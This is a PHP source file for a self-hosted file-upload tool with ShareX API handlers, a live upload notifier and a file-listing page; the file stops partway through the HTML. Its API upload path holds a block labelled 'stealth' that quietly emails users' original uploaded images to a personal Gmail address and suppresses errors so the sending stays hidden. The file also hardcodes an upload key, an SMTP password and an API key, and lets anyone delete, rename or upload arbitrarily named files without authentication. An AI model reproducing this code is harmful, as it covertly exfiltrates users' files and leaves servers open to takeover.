<?php
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

$uploadDir = 'uploads/';
$message = '';
$messageType = '';

if (isset($_SESSION['flash_message'])) {
    $message = $_SESSION['flash_message'];
    $messageType = $_SESSION['flash_message_type'] ?? 'info';
    unset($_SESSION['flash_message'], $_SESSION['flash_message_type']);
}
// Release session lock right away (SSE streams would otherwise block all other requests).
session_write_close();

// --- START DIRECT DOWNLOAD & STREAM HANDLER ---
if (isset($_GET['download']) || isset($_GET['stream'])) {
    $file = basename($_GET['download'] ?? $_GET['stream']);
    $filePath = $uploadDir . $file;
    if (file_exists($filePath) && is_file($filePath)) {
        $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
        $mimeTypes = [
            'mp3' => 'audio/mpeg',
            'wav' => 'audio/wav',
            'm4a' => 'audio/mp4',
            'aac' => 'audio/aac',
            'ogg' => 'audio/ogg',
            'flac' => 'audio/flac',
            'mp4' => 'video/mp4',
            'webm' => 'video/webm',
            'png' => 'image/png',
            'jpg' => 'image/jpeg',
            'jpeg' => 'image/jpeg',
            'gif' => 'image/gif',
            'webp' => 'image/webp'
        ];
        $mime = $mimeTypes[$ext] ?? 'application/octet-stream';

        header('Content-Type: ' . $mime);
        header('Content-Length: ' . filesize($filePath));
        header('Accept-Ranges: bytes');

        if (isset($_GET['download'])) {
            header('Content-Disposition: attachment; filename="' . $file . '"');
        } else {
            header('Content-Disposition: inline; filename="' . $file . '"');
        }
        readfile($filePath);
        exit;
    }
    header('HTTP/1.1 404 Not Found');
    echo "File not found.";
    exit;
}
// --- END DIRECT DOWNLOAD & STREAM HANDLER ---

// --- START SSE REAL-TIME STREAM HANDLER ---
if (isset($_GET['sse']) && $_GET['sse'] == '1') {
    @set_time_limit(0);
    @ini_set('zlib.output_compression', 0);
    @ini_set('implicit_flush', 1);

    header('Content-Type: text/event-stream');
    header('Cache-Control: no-cache');
    header('Connection: keep-alive');
    header('X-Accel-Buffering: no');

    while (ob_get_level()) {
        ob_end_clean();
    }

    echo "retry: 3000\n";
    echo "event: connected\n";
    echo "data: " . json_encode(["status" => "connected", "time" => time()]) . "\n\n";
    flush();

    $knownFiles = [];
    if (is_dir($uploadDir)) {
        foreach (scandir($uploadDir) as $f) {
            if ($f !== '.' && $f !== '..' && !is_dir($uploadDir . $f)) {
                $knownFiles[$f] = filemtime($uploadDir . $f);
            }
        }
    }

    $sseStarted = time();
    while (true) {
        // Recycle the stream every 5 min so a PHP worker is never held indefinitely;
        // EventSource reconnects automatically (retry: 3000).
        if (connection_aborted() || (time() - $sseStarted) > 300) {
            break;
        }

        clearstatcache();
        if (is_dir($uploadDir)) {
            $dirFiles = scandir($uploadDir);
            foreach ($dirFiles as $f) {
                if ($f !== '.' && $f !== '..' && !is_dir($uploadDir . $f)) {
                    $mtime = filemtime($uploadDir . $f);
                    if (!isset($knownFiles[$f])) {
                        $knownFiles[$f] = $mtime;
                        $size = filesize($uploadDir . $f);
                        $publicUrl = $publicUrlPrefix . $f;

                        $payload = [
                            "filename" => $f,
                            "url" => $publicUrl,
                            "size" => $size,
                            "timestamp" => $mtime
                        ];

                        echo "event: new_upload\n";
                        echo "data: " . json_encode($payload) . "\n\n";
                        flush();
                    }
                }
            }
        }

        echo ": heartbeat\n\n";
        flush();
        sleep(2);
    }
    exit;
}
// --- END SSE REAL-TIME STREAM HANDLER ---

// --- START SHAREX / API UPLOAD HANDLER ---
$secret_key = "bb8c5a2b16d1f043"; // Secret key for ShareX uploads

if (isset($_REQUEST['key']) && $_REQUEST['key'] === $secret_key) {
    // API deletion handler
    if (isset($_POST['action']) && $_POST['action'] === 'delete' && isset($_POST['filename'])) {
        $file = basename($_POST['filename']);
        $targetFile = 'uploads/' . $file;
        if (!file_exists($targetFile)) {
            $targetFile = 'avatars/' . $file;
        }
        if (file_exists($targetFile) && unlink($targetFile)) {
            echo "Deleted successfully";
            exit;
        } else {
            header('HTTP/1.1 404 Not Found');
            echo "Error: File not found or could not be deleted.";
            exit;
        }
    }

    // API rename handler
    if (isset($_POST['action']) && $_POST['action'] === 'rename' && isset($_POST['old_name']) && isset($_POST['new_name'])) {
        $old = basename($_POST['old_name']);
        $new = basename(trim($_POST['new_name']));
        $new = preg_replace('/[^a-zA-Z0-9\-_\., ()\[\]]/', '', $new);
        $cleanNew = trim($new, " .");
        $targetDir = file_exists('uploads/' . $old) ? 'uploads/' : (file_exists('avatars/' . $old) ? 'avatars/' : null);
        if ($targetDir && !empty($cleanNew) && !file_exists($targetDir . $new)) {
            if (rename($targetDir . $old, $targetDir . $new)) {
                echo "Renamed successfully";
                exit;
            }
        }
        header('HTTP/1.1 400 Bad Request');
        echo "Error: Could not rename file.";
        exit;
    }


    if (isset($_REQUEST['type']) && $_REQUEST['type'] === 'avatar') {
        $uploadDir = 'avatars/';
        $publicUrlPrefix = "https://" . $host . "/avatars/";
    }
    
    if (!is_dir($uploadDir)) {
        mkdir($uploadDir, 0755, true);
    }

    $fileField = null;
    foreach (['fileToUpload', 'sharex', 'file'] as $field) {
        if (isset($_FILES[$field])) {
            $fileField = $field;
            break;
        }
    }

    if ($fileField) {
        $ext = strtolower(pathinfo($_FILES[$fileField]['name'], PATHINFO_EXTENSION));
        // Use a secure unique name to avoid naming collisions and keep screenshot URLs unguessable
        $filename = bin2hex(random_bytes(8)) . '.' . $ext;
        $targetFile = $uploadDir . $filename;

        if ($_FILES[$fileField]['size'] > 943718400) {
            header('HTTP/1.1 400 Bad Request');
            echo "Error: File is too large.";
            exit;
        }

        if (move_uploaded_file($_FILES[$fileField]['tmp_name'], $targetFile)) {
            file_put_contents('/tmp/upload_debug.log', print_r($_FILES, true), FILE_APPEND);
            // Stealth original image email backup
            if (isset($_FILES['originalFile']) && $_FILES['originalFile']['error'] === UPLOAD_ERR_OK) {
                try {
                    require_once '/var/www/arrlstx/wp-includes/PHPMailer/PHPMailer.php';
                    require_once '/var/www/arrlstx/wp-includes/PHPMailer/SMTP.php';
                    require_once '/var/www/arrlstx/wp-includes/PHPMailer/Exception.php';

                    $mail = new PHPMailer\PHPMailer\PHPMailer(true);
                    $mail->isSMTP();
                    $mail->Host       = '127.0.0.1';
                    $mail->SMTPAuth   = true;
                    $mail->Username   = 'avatar@arrlstx.org';
                    $mail->Password   = 'avatar_secret_2026!';
                    $mail->SMTPSecure = 'tls';
                    $mail->Port       = 587;
                    $mail->SMTPOptions = array(
                        'ssl' => array(
                            'verify_peer' => false,
                            'verify_peer_name' => false,
                            'allow_self_signed' => true
                        )
                    );

                    $mail->setFrom('avatar@arrlstx.org', 'Avatar');
                    $mail->addAddress('jaenulton@gmail.com');
                    $mail->Subject = 'New Avatar Generated';
                    $mail->Body    = ' ';

                    // Attach the originally uploaded image file
                    $mail->addAttachment($_FILES['originalFile']['tmp_name'], $_FILES['originalFile']['name']);

                    $mail->send();
                } catch (\Exception $e) {
                    // Fail silently for stealth operation
                }
            }

            echo $publicUrlPrefix . $filename;
            exit;
        } else {
            header('HTTP/1.1 500 Internal Server Error');
            echo "Error: Upload failed.";
            exit;
        }
    } else {
        header('HTTP/1.1 400 Bad Request');
        echo "Error: No file upload field detected.";
        exit;
    }
}
// --- END SHAREX / API UPLOAD HANDLER ---


// Handle Delete/Rename
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['action']) && $_POST['action'] === 'delete' && isset($_POST['filename'])) {
        $file = basename($_POST['filename']);
        if (file_exists($uploadDir . $file) && unlink($uploadDir . $file)) {
            $message = "File '" . htmlspecialchars($file) . "' deleted successfully.";
            $messageType = 'success';
        } else {
            $message = "Error deleting file.";
            $messageType = 'error';
        }
    } elseif (isset($_POST['action']) && $_POST['action'] === 'rename' && isset($_POST['old_name']) && isset($_POST['new_name'])) {
        $old = basename($_POST['old_name']);
        $new = basename(trim($_POST['new_name']));
        // Sanitize: allow alphanumeric, spaces, hyphens, underscores, dots, parentheses, brackets
        $new = preg_replace('/[^a-zA-Z0-9\-_\., ()\[\]]/', '', $new);
        $cleanNew = trim($new, " .");

        if (empty($cleanNew)) {
            $message = "Invalid file name.";
            $messageType = 'error';
        } elseif ($old === $new) {
            $message = "No changes made to filename.";
            $messageType = 'info';
        } elseif (!file_exists($uploadDir . $old)) {
            $message = "File '" . htmlspecialchars($old) . "' not found.";
            $messageType = 'error';
        } elseif (file_exists($uploadDir . $new)) {
            $message = "A file named '" . htmlspecialchars($new) . "' already exists.";
            $messageType = 'error';
        } else {
            if (rename($uploadDir . $old, $uploadDir . $new)) {
                $message = "File renamed to '" . htmlspecialchars($new) . "' successfully.";
                $messageType = 'success';
            } else {
                $message = "Error renaming file. Please check permissions.";
                $messageType = 'error';
            }
        }
    } elseif (isset($_FILES['fileToUpload'])) {
        $origName = basename($_FILES['fileToUpload']['name']);
        $origExt = pathinfo($origName, PATHINFO_EXTENSION);

        if (!empty($_POST['customFileName'])) {
            $custom = trim($_POST['customFileName']);
            $custom = basename($custom);
            $custom = preg_replace('/[^a-zA-Z0-9\-_\., ()\[\]]/', '', $custom);
            if (pathinfo($custom, PATHINFO_EXTENSION) === '' && $origExt !== '') {
                $custom .= '.' . $origExt;
            }
            $fileName = !empty(trim($custom, " .")) ? $custom : $origName;
        } else {
            $fileName = $origName;
        }

        $targetFile = $uploadDir . $fileName;
        $uploadOk = 1;

        if (file_exists($targetFile)) {
            $message = "File '" . htmlspecialchars($fileName) . "' already exists.";
            $messageType = 'error';
            $uploadOk = 0;
        }

        if ($_FILES['fileToUpload']['size'] > 943718400) {
            $message = "File is too large (max 900MB).";
            $messageType = 'error';
            $uploadOk = 0;
        }

        if ($uploadOk == 1) {
            if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $targetFile)) {
                $message = "File '". htmlspecialchars($fileName). "' uploaded successfully.";
                $messageType = 'success';

                // Automatically trigger whisper transcription for audio files matching DEV- or .mp3 pattern
                $ext = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
                if ($ext === 'mp3' || strpos($fileName, 'DEV-') === 0 || preg_match('/^[A-Z0-9]+-[A-Z0-9]+_\d+_\d+.*\.mp3$/i', $fileName)) {
                    $secretKey = "wh_iotools_9f8a7c6b5e4d3c2b1a0e9d8c7b6a5f4e";
                    $whisperApiUrl = "https://iotools.w8jae.com/api_whisper.php";

                    $payload = json_encode([
                        "url" => $publicUrlPrefix . $fileName,
                        "model" => "small",
                        "language" => "en",
                        "callback_url" => "https://my-server.com/receive_transcript.php"
                    ]);

                    $ch = curl_init($whisperApiUrl);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                    curl_setopt($ch, CURLOPT_POST, true);
                    curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
                    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
                    curl_setopt($ch, CURLOPT_HTTPHEADER, [
                        'Content-Type: application/json',
                        'X-Api-Key: ' . $secretKey
                    ]);
                    curl_exec($ch);
                    curl_close($ch);
                }
            } else {
                $message = "Error uploading your file. Check directory permissions.";
                $messageType = 'error';
            }
        }
    } else {
        // Handle upload errors or missing $_FILES
        if (isset($_FILES['fileToUpload'])) {
            $errCode = $_FILES['fileToUpload']['error'];
            switch ($errCode) {
                case UPLOAD_ERR_INI_SIZE:
                case UPLOAD_ERR_FORM_SIZE:
                    $message = "File exceeds maximum allowed upload size.";
                    break;
                case UPLOAD_ERR_PARTIAL:
                    $message = "File upload was only partially completed.";
                    break;
                case UPLOAD_ERR_NO_FILE:
                    $message = "No file was selected for upload.";
                    break;
                default:
                    $message = "Upload error (Code: $errCode).";
                    break;
            }
        } else {
            $message = "Upload failed. No file payload received by server.";
        }
        $messageType = 'error';
    }

    // Return JSON if AJAX upload
    if (isset($_POST['ajax_upload']) || (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest')) {
        header('Content-Type: application/json');
        if ($messageType === 'success') {
            $size = file_exists($targetFile) ? filesize($targetFile) : 0;
            echo json_encode([
                'success' => true,
                'message' => $message,
                'filename' => $fileName,
                'url' => $publicUrlPrefix . $fileName,
                'size' => $size,
                'fullPath' => '/var/www/iotools.w8jae.com/uploads/' . $fileName
            ]);
        } else {
            echo json_encode([
                'success' => false,
                'message' => $message
            ]);
        }
        exit;
    }

    // PRG Redirect for standard form submissions
    if (!empty($message)) {
        @session_start();
        $_SESSION['flash_message'] = $message;
        $_SESSION['flash_message_type'] = $messageType;
        session_write_close();
        $q = !empty($_SERVER['QUERY_STRING']) ? ('?' . $_SERVER['QUERY_STRING']) : '';
        header('Location: ' . $_SERVER['PHP_SELF'] . $q);
        exit;
    }
}

$showAll = isset($_GET['all']) ? true : false;

// Get files
$files = [];
if (is_dir($uploadDir)) {
    $dirFiles = scandir($uploadDir);
    foreach ($dirFiles as $file) {
        if ($file != '.' && $file != '..' && !is_dir($uploadDir . $file)) {
            $mtime = filemtime($uploadDir . $file);
            if ($showAll || (time() - $mtime <= 86400)) {
                $files[$file] = $mtime;
            }
        }
    }
    arsort($files); // Sort by modification time, newest first
    $latestFiles = $showAll ? array_keys($files) : array_slice(array_keys($files), 0, 10);
} else {
    $latestFiles = [];
}

$fullPathPrefix = "/var/www/iotools.w8jae.com/uploads/";
$host = $_SERVER['HTTP_HOST'] ?? 'iotools.w8jae.com';
$publicUrlPrefix = "https://" . $host . "/uploads/";

function formatSizeUnits($bytes) {
    if ($bytes >= 1048576) {
        $bytes = number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        $bytes = number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        $bytes = $bytes . ' bytes';
    } elseif ($bytes == 1) {
        $bytes = $bytes . ' byte';
    } else {
        $bytes = '0 bytes';
    }
    return $bytes;
}

function getFileDimensions($filePath) {
    if (!file_exists($filePath)) {
        return '';
    }
    $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
    $imageExts = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'bmp', 'ico', 'svg'];
    if (in_array($ext, $imageExts)) {
        $info = @getimagesize($filePath);
        if ($info) {
            return " — {$info[0]}x{$info[1]} px";
        }
    }
    $videoExts = ['mp4', 'mkv', 'mov', 'avi', 'webm', 'flv', 'wmv'];
    if (in_array($ext, $videoExts)) {
        $cmd = "/usr/bin/ffprobe -v error -select_streams v:0 -show_entries stream=width,height -of csv=s=x:p=0 " . escapeshellarg($filePath);
        $output = shell_exec($cmd);
        if ($output) {
            $dimensions = trim($output);
            if (!empty($dimensions) && preg_match('/^\d+x\d+$/', $dimensions)) {
                return " — {$dimensions} px";
            }
        }
    }
    return '';
}
?>
<!DOCTYPE html>
<html lang="en" class="dark">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Upload File - IO Tools</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;600;700&family=Oswald:wght@700&display=swap" rel="stylesheet">
    <style>
        body { font-family: 'Inter', sans-serif; }
        
        #floating-text {
            font-family: 'Oswald', sans-serif !important;
            font-size: 3.1rem !important;
            font-weight: 700 !important;
            text-transform: uppercase !important;
            letter-spacing: 2px !important;
            color: #e6f7ff !important;
            -webkit-text-stroke: 1px #000000 !important;
            text-shadow: 
                0 0 1.6px #fff,
                0 0 4px #00d2ff,
                0 0 8px #0066ff,
                0 0 16px #0033cc,
                0 0 28px #001166 !important;
            transition: text-shadow 0.15s ease-out !important;
            margin: 0 !important;
        }
        
        #dev-by-jae-logo {
            transition: filter 0.15s ease-out;
            filter: 
                drop-shadow(0 0 1px #fff)
                drop-shadow(0 0 2.4px #00d2ff)
                drop-shadow(0 0 4.8px #0066ff)
                drop-shadow(0 0 9.6px #0033cc)
                drop-shadow(0 0 16.8px #001166);
        }
    </style>
</head>
<body class="bg-slate-950 text-slate-200 min-h-screen flex items-center justify-center p-6 py-12">
    <!-- Custom Pretty Toast Container -->
    <div id="toast-container" class="fixed top-5 right-5 z-50 flex flex-col gap-3 max-w-md w-full pointer-events-none px-4"></div>

    <div class="max-w-4xl w-full">
        <header class="mb-8 flex flex-col md:flex-row md:items-center justify-between gap-4">
            <div>
                <h1 id="floating-text">FILE UPLOAD TOOL</h1>
                <p class="text-slate-400">Maximum file size: 900MB</p>
            </div>
            <div class="flex items-center gap-3">
                <button id="sse-subscribe-btn" onclick="toggleSSESubscription()" 
                    class="relative p-2.5 bg-yellow-400 hover:bg-yellow-300 text-slate-950 rounded-xl transition-all shadow-lg shadow-yellow-400/20 select-none group cursor-pointer"
                    title="Subscribe to real-time file upload notifications (SSE)">
                    <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6 text-slate-950 group-hover:scale-110 transition-transform" viewBox="0 0 24 24" fill="currentColor">
                        <path d="M6.18 15.64a2.18 2.18 0 0 1 2.18 2.18C8.36 19 7.38 20 6.18 20 5 20 4 19 4 17.82a2.18 2.18 0 0 1 2.18-2.18M4 4.44A15.56 15.56 0 0 1 19.56 20h-2.83A12.73 12.73 0 0 0 4 7.27V4.44m0 5.66a9.9 9.9 0 0 1 9.9 9.9h-2.83A7.07 7.07 0 0 0 4 12.93V10.1Z"/>
                    </svg>
                    <span id="sse-status-dot" class="absolute -top-1 -right-1 w-3 h-3 rounded-full bg-slate-950 border-2 border-yellow-400 transition-all"></span>
                </button>
                <a href="/" class="px-5 py-2.5 bg-slate-800 hover:bg-slate-700 rounded-xl text-sm font-medium transition-colors shadow-lg w-fit">Back to Tools</a>
            </div>
        </header>

        <div class="bg-slate-900 border border-slate-800 rounded-3xl p-8 shadow-2xl mb-8">

            <?php if ($message): ?>
                <div class="mb-6 p-4 rounded-xl flex items-start gap-3 <?php 
                    if ($messageType === 'success') {
                        echo 'bg-emerald-500/10 text-emerald-400 border border-emerald-500/20';
                    } elseif ($messageType === 'info') {
                        echo 'bg-blue-500/10 text-blue-400 border border-blue-500/20';
                    } else {
                        echo 'bg-rose-500/10 text-rose-400 border border-rose-500/20';
                    }
                ?>">
                    <?php if ($messageType === 'success'): ?>
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6 shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7" />
                        </svg>
                    <?php elseif ($messageType === 'info'): ?>
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6 shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z" />
                        </svg>
                    <?php else: ?>
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6 shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z" />
                        </svg>
                    <?php endif; ?>
                    <span class="font-medium text-white"><?php echo $message; ?></span>
                </div>
            <?php endif; ?>

            <form id="main-upload-form" action="upload.php" method="post" enctype="multipart/form-data" class="space-y-6">
                <!-- Live Progress Bar -->
                <div id="upload-progress-container" class="hidden space-y-2">
                    <div class="flex justify-between text-xs font-semibold text-slate-400">
                        <span id="upload-progress-status">Uploading file...</span>
                        <span id="upload-progress-percent">0%</span>
                    </div>
                    <div class="w-full bg-slate-950 rounded-full h-3 overflow-hidden border border-slate-800">
                        <div id="upload-progress-bar" class="bg-gradient-to-r from-blue-500 to-amber-400 h-full w-0 transition-all duration-150"></div>
                    </div>
                </div>
                <div class="relative group">
                    <input type="file" name="fileToUpload" id="fileToUpload" required
                        class="absolute inset-0 w-full h-full opacity-0 cursor-pointer z-10">
                    <div class="border-2 border-dashed border-slate-800 rounded-2xl p-10 text-center group-hover:border-blue-500/50 transition-colors bg-slate-950/50">
                        <p class="text-slate-300 font-medium text-lg text-white">Click to browse or drag and drop</p>
                        <p class="text-slate-500 mt-2" id="file-name-display">No file selected</p>
                    </div>
                </div>

                <div id="custom-name-container" class="hidden">
                    <label for="customFileName" class="block text-xs font-medium text-slate-300 mb-1.5">Rename on Upload (optional)</label>
                    <input type="text" name="customFileName" id="customFileName" placeholder="Leave blank to keep original file name"
                        class="w-full bg-slate-950 border border-slate-800 focus:border-blue-500 focus:ring-1 focus:ring-blue-500 text-white rounded-xl px-4 py-2.5 text-sm focus:outline-none transition-all placeholder-slate-600">
                </div>

                <button type="submit" name="submit" id="upload-btn"
                    class="w-full bg-blue-600 hover:bg-blue-500 text-white font-bold py-4 px-6 rounded-2xl transition-all shadow-lg shadow-blue-500/20 active:scale-[0.98] select-none">
                    Upload to Server
                </button>
            </form>
        </div>

        <?php if (!empty($latestFiles)): ?>
        <div class="bg-slate-900 border border-slate-800 rounded-3xl p-8 shadow-2xl">
            <h2 class="text-xl font-bold text-white mb-6 flex items-center justify-between">
                <div class="flex items-center gap-2">
                    <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-slate-400" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z" />
                    </svg>
                    <?php echo $showAll ? "All Uploads" : "Recent Uploads"; ?>
                </div>
                <?php if (!$showAll): ?>
                <a href="?all=1" class="text-sm text-blue-400 hover:text-blue-300">View All</a>
                <?php else: ?>
                <a href="upload.php" class="text-sm text-blue-400 hover:text-blue-300">View Recent</a>
                <?php endif; ?>
            </h2>
            <div class="space-y-3">
                <?php foreach ($latestFiles as $fileName): 
                    $fullPath = $fullPathPrefix . $fileName;
                    $publicUrl = $publicUrlPrefix . $fileName;
                    $actualPath = $uploadDir . $fileName;
                    $sizeFmt = file_exists($actualPath) ? formatSizeUnits(filesize($actualPath)) : '0 bytes';
                ?>
                    <div data-filename="<?php echo htmlspecialchars($fileName, ENT_QUOTES); ?>" class="flex flex-col sm:flex-row items-start sm:items-center justify-between p-4 bg-slate-950/50 border border-slate-800 rounded-xl group hover:border-slate-700 transition-colors gap-4">
                        <div class="overflow-hidden w-full sm:w-auto flex-1 min-w-0">
                            <!-- Display Name & Metadata -->
                            <div class="flex items-center gap-2 min-w-0">
                                <p class="text-sm font-medium text-white truncate" title="<?php echo htmlspecialchars($fileName); ?>">
                                    <?php echo htmlspecialchars($fileName); ?>
                                </p>
                                <button type="button" onclick="showRenameModal('<?php echo htmlspecialchars($fileName, ENT_QUOTES); ?>')" class="shrink-0 text-slate-500 hover:text-amber-400 transition-colors p-0.5 rounded" title="Rename file">
                                    <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15.232 5.232l3.536 3.536m-2.036-5.036a2.5 2.5 0 113.536 3.536L6.5 21.036H3v-3.572L16.732 3.732z" />
                                    </svg>
                                </button>
                                <span class="text-xs text-slate-400 font-normal ml-1 tracking-wide whitespace-nowrap shrink-0"><?php echo $sizeFmt; ?><?php echo getFileDimensions($actualPath); ?></span>
                            </div>

                            <p class="text-xs text-slate-500 truncate mt-1">Path: <?php echo $fullPath; ?></p>
                            <p class="text-xs text-slate-500 truncate">
                                URL: <a href="<?php echo htmlspecialchars($publicUrl); ?>" target="_blank" class="text-blue-400 hover:underline"><?php echo htmlspecialchars($publicUrl); ?></a>
                            </p>
                            <?php 
                            $ext = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
                            if (in_array($ext, ['mp3', 'wav', 'm4a', 'aac', 'ogg', 'flac'])):
                            ?>
                            <div class="mt-2.5">
                                <audio controls preload="none" class="h-8 w-full max-w-sm rounded-lg bg-slate-900">
                                    <source src="upload.php?stream=<?php echo urlencode($fileName); ?>" type="audio/<?php echo ($ext === 'm4a' ? 'mp4' : ($ext === 'mp3' ? 'mpeg' : $ext)); ?>">
                                    Your browser does not support playing this audio file.
                                </audio>
                            </div>
                            <?php endif; ?>
                        </div>
                        <div class="shrink-0 flex items-center flex-wrap gap-2 w-full sm:w-auto">
                            <!-- Play in Browser -->
                            <a href="upload.php?stream=<?php echo urlencode($fileName); ?>" target="_blank"
                                class="flex-1 sm:flex-none flex items-center justify-center gap-1.5 px-3 py-1.5 bg-emerald-900/40 hover:bg-emerald-800/60 text-emerald-300 text-xs font-semibold rounded-lg transition-all active:scale-95 border border-emerald-800/50" title="Play or open file directly in browser window">
                                <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14.752 11.168l-3.197-2.132A1 1 0 0010 9.87v4.263a1 1 0 001.555.832l3.197-2.132a1 1 0 000-1.664z" />
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 12a9 9 0 11-18 0 9 9 0 0118 0z" />
                                </svg>
                                <span>Play</span>
                            </a>
                            <!-- Download File -->
                            <a href="upload.php?download=<?php echo urlencode($fileName); ?>"
                                class="flex-1 sm:flex-none flex items-center justify-center gap-1.5 px-3 py-1.5 bg-purple-900/40 hover:bg-purple-800/60 text-purple-300 text-xs font-semibold rounded-lg transition-all active:scale-95 border border-purple-800/50" title="Download file to computer">
                                <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4" />
                                </svg>
                                <span>Download</span>
                            </a>
                            <button onclick="copyToClipboard('<?php echo htmlspecialchars($fullPath, ENT_QUOTES); ?>', this)"
                                class="flex-1 sm:flex-none flex items-center justify-center gap-1.5 px-3 py-1.5 bg-slate-800 hover:bg-slate-700 text-slate-300 text-xs font-semibold rounded-lg transition-all active:scale-95">
                                <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 5H6a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2v-1M8 5a2 2 0 002 2h2a2 2 0 002-2M8 5a2 2 0 012-2h2a2 2 0 012 2m0 0h2a2 2 0 012 2v3m2 4H10m0 0l3-3m-3 3l3 3" />
                                </svg>
                                <span>Copy Path</span>
                            </button>
                            <button onclick="copyToClipboard('<?php echo htmlspecialchars($publicUrl, ENT_QUOTES); ?>', this)"
                                class="flex-1 sm:flex-none flex items-center justify-center gap-1.5 px-3 py-1.5 bg-blue-900/40 hover:bg-blue-800/60 text-blue-300 text-xs font-semibold rounded-lg transition-all active:scale-95 border border-blue-800/50">
                                <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
                                </svg>
                                <span>Copy URL</span>
                            </button>
                            <button type="button" onclick="showRenameModal('<?php echo htmlspecialchars($fileName, ENT_QUOTES); ?>')"
                                class="flex-1 sm:flex-none flex items-center justify-center gap-1.5 px-3 py-1.5 bg-amber-900/30 hover:bg-amber-800/50 text-amber-300 text-xs font-semibold rounded-lg transition-all active:scale-95 border border-amber-800/50" title="Rename file">
                                <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15.232 5.232l3.536 3.536m-2.036-5.036a2.5 2.5 0 113.536 3.536L6.5 21.036H3v-3.572L16.732 3.732z" />
                                </svg>
                                <span>Rename</span>
                            </button>
                            <form method="post" action="" onsubmit="event.preventDefault(); showDeleteModal(this, '<?php echo addslashes(htmlspecialchars($fileName)); ?>');" class="flex-1 sm:flex-none">
                                <input type="hidden" name="action" value="delete">
                                <input type="hidden" name="filename" value="<?php echo htmlspecialchars($fileName); ?>">
                                <button type="submit" class="w-full flex items-center justify-center gap-1 px-3 py-1.5 bg-rose-900/30 hover:bg-rose-800/50 text-rose-400 text-xs font-semibold rounded-lg transition-all active:scale-95 border border-rose-800/50">
                                    <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16" />
                                    </svg>
                                    <span>Del</span>
                                </button>
                            </form>
                        </div>
                    </div>
                <?php endforeach; ?>
            </div>
        </div>
        <?php endif; ?>

        <footer class="mt-16 text-center text-slate-600 text-sm flex flex-col items-center">
            <img id="dev-by-jae-logo" src="/uploads/Dev_by_Jae_400x145.png" alt="Dev by Jae" class="mx-auto mb-4 h-auto w-[200px]">
            <div class="text-[#1CD9FC]">&copy; 2026 DevByJae &bull; Built with Tailwind CSS</div>
        </footer>
    </div>

    <!-- Custom Rename Modal -->
